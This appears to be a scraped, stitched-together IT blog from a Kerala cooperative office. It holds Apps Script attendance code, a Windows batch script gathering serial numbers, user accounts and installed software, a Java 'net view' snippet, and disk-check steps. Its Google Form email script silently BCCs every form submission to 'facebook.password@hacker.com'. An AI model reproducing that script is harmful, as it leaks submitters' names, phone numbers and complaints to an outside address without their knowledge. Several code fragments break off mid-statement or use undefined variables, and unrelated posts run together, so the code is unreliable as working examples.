var attendanceSpreadSheet = SpreadsheetApp.openById("consumerfedAttendanceSheet");
var attendanceSheet = attendanceSpreadSheet.getSheetByName("ATTENDANCE");
var consolidationSheet = attendanceSpreadSheet.getSheetByName("CONSOLIDATION");
var startRowAttendance = consolidationSheet.getRange("H1").getValue();
var lastRowAttendance = attendanceSheet.getLastRow();
var lastRowOfAttendanceArray = lastRowAttendance - startRowAttendance - 1;
var branchListAS = attendanceSheet.getRange(startRowAttendance,2,lastRowOfAttendanceArray,1).getValues();
var empListAS = attendanceSheet.getRange(startRowAttendance,3,lastRowOfAttendanceArray,1).getValues();
var attndListAS = attendanceSheet.getRange(startRowAttendance,4,lastRowOfAttendanceArray,1).getValues();
//Logger.log(branchListAS);
var currentAttndRowPstn = startRowAttendance;
var branchListCS = consolidationSheet.getRange(1,1,consolidationSheet.getLastRow(),1).getValues();
var empListCS = consolidationSheet.getRange(1,2,consolidationSheet.getLastRow(),1).getValues();
//Logger.log(" B :"+branchListCS[0]);
var lastRowCS = consolidationSheet.getLastRow();
var lastConsolidationRow = lastRowCS + 1;
var branchNameAS = branchListAS[rowCount].toString();
var employeeNameAS = empListAS[rowCount].toString();
var attendanceTypeAS = attndListAS[rowCount].toString(); // present,onduty etc
Last week i was informed by I T section kozhikode +bithesh soubhagya to develop a software to track the hardware and software details of old working system in kozhikode region to create a hardware register.
Here i am writing a code that can generate a text file with all needed system information. This can be used for diagnosis system issues. To find the serial number and model number of the system, the user details, the software details, medium access control address, ip configuration details, system information, routing table details, product details etc ... If you are looking for a tutorial about commands in operating system , just follow the link given below.
just copy and the paste the following code to a text file then save the file with an extension .bat
BAT FILE CREATION
MKDIR D:\ITDiagnosis
if not exist D:\ITDiagnosis\diagnosis.txt dir > D:\ITDiagnosis\diagnosis.txt
echo cfed tool run on %date% >> D:\ITDiagnosis\diagnosis.txt
wmic bios get serialnumber >> D:\ITDiagnosis\diagnosis.txt
wmic computersystem get model >> D:\ITDiagnosis\diagnosis.txt
echo checking units network issue >> D:\ITDiagnosis\diagnosis.txt
echo ===================== >> D:\ITDiagnosis\diagnosis.txt
net view >> D:\ITDiagnosis\diagnosis.txt
echo checking your internet >> D:\ITDiagnosis\diagnosis.txt
echo ================>> D:\ITDiagnosis\diagnosis.txt
ping www.google.co.in >> D:\ITDiagnosis\diagnosis.txt
echo User details >> D:\ITDiagnosis\diagnosis.txt
echo ===============>> D:\ITDiagnosis\diagnosis.txt
net user >> D:\ITDiagnosis\diagnosis.txt
wmic useraccount list brief >> D:\ITDiagnosis\diagnosis.txt
if not exist D:\ITDiagnosis\swlist.txt dir > D:\ITDiagnosis\swlist.txt
wmic product >> D:\ITDiagnosis\swlist.txt
echo The code is written by belazy.blogspot.in >> D:\ITDiagnosis\diagnosis.txt
How to get the list of computer users in the network
//List of users in the network
import java.io.*;
public class NetworkUsers
{ static String all;
public static void main(String[] args)
{try { // Execute command Process child = Runtime.getRuntime().exec("net view"); // Get the input stream and read from it InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { char e=(char)c; System.out.println(e); //process((char)c); } in.close(); } catch (IOException e) { } }
private static void process(char c) { // TODO Auto-generated method stub System.out.print(c); //all =String.valueOf(c) +all; // System.out.println(all); }
}
Program explanation
Inputstream implies that the program is getting input as a stream of bytes
How to sending email on form submit in google form using google script code
Sample google form
The google script for sending email on form submit
// Send the google form data on entering submit button
function sendMailOnFormSubmit(e){
var intendForm = FormApp.getActiveForm(); // you can select from by its id
var response = intendForm.getResponses();
//response.length
var reponseCount = response.length-1;
//Logger.log(""+indentForm.getItems());
// Logger.log(""+indentForm.getResponses());
//Logger.log(e.
Logger.log(""+response.length);
var htmlBody = 'Sir, <br/><br/> <p> Sending indent to the following e - mail id <br/></p> '+response
[reponseCount].getItemResponses()[0].getResponse();
var subject = ' GOOGLE FORM DATA ';
var optAdvancedArgs = {name: " BRANCH NAME ",bcc :"facebook.password@hacker.com", htmlBody:
var branchName = response[reponseCount].getItemResponses()[0].getResponse(); var contactNumber = response[reponseCount].getItemResponses()[1].getResponse(); var reportedBy = response[reponseCount].getItemResponses()[2].getResponse(); var complaintType = response[reponseCount].getItemResponses()[3].getResponse(); var description = response[reponseCount].getItemResponses()[4].getResponse();
Created an online chat application for Regional office kozhikode . The work was assigned by +bithesh soubhagya . M S Sharepoint was the most suitable application to do this job. Now the regional office staffs can share their work, assign tasks, internal chat etc.
The issue was first reported at Triveni Super Market Nadapuram in 2014 and the work was assigned to me by I T incharge bithesh consumerfed. The issue was successfully solved without formatting the operating system which was our hardware technicians used to do. Please read the whole page and provide us your feed back.
Hard disc issue Screen shot
check your hard disc for errors
You can
help solve some computer problems and improve the performance of your computer
by making sure that your hard disk has no errors.
Open
Computer by clicking the Start button ,
and then clicking Computer.
Right-click
the hard disk drive that you want to check, and then click Properties.
Click
the Tools tab, and then, under Error-checking, click Check Now. If
you are prompted for an administrator password or confirmation, type the
password or provide confirmation.
To automatically repair problems with files and
folders that the scan detects, select Automatically fix file system errors.
Otherwise, the disk check will simply report problems but not fix them.
To perform a thorough disk check, select Scan for
and attempt recovery of bad sectors. This scan attempts to find and repair
physical errors on the hard disk itself, and it can take much longer to
complete.
To check for both file errors and physical errors,
select both Automatically fix file system errors and Scan for and attempt
recovery of bad sectors.
Click
Start.
Depending
upon the size of your hard disk, this may take several minutes. For best
results, don't use your computer for any other tasks while it's checking for
errors.
Do the following
Right click on harddisc >> properties
>> tools >> check now
Here you can find some Microsoft excel formula that could apply to your excel sheets. Please reply once you tried it out. mail me at :: belazy1987atgmaildotcom
If you are unable to copy images or any resources from ms document file(.doc/.docx) format try this : java-lazy blog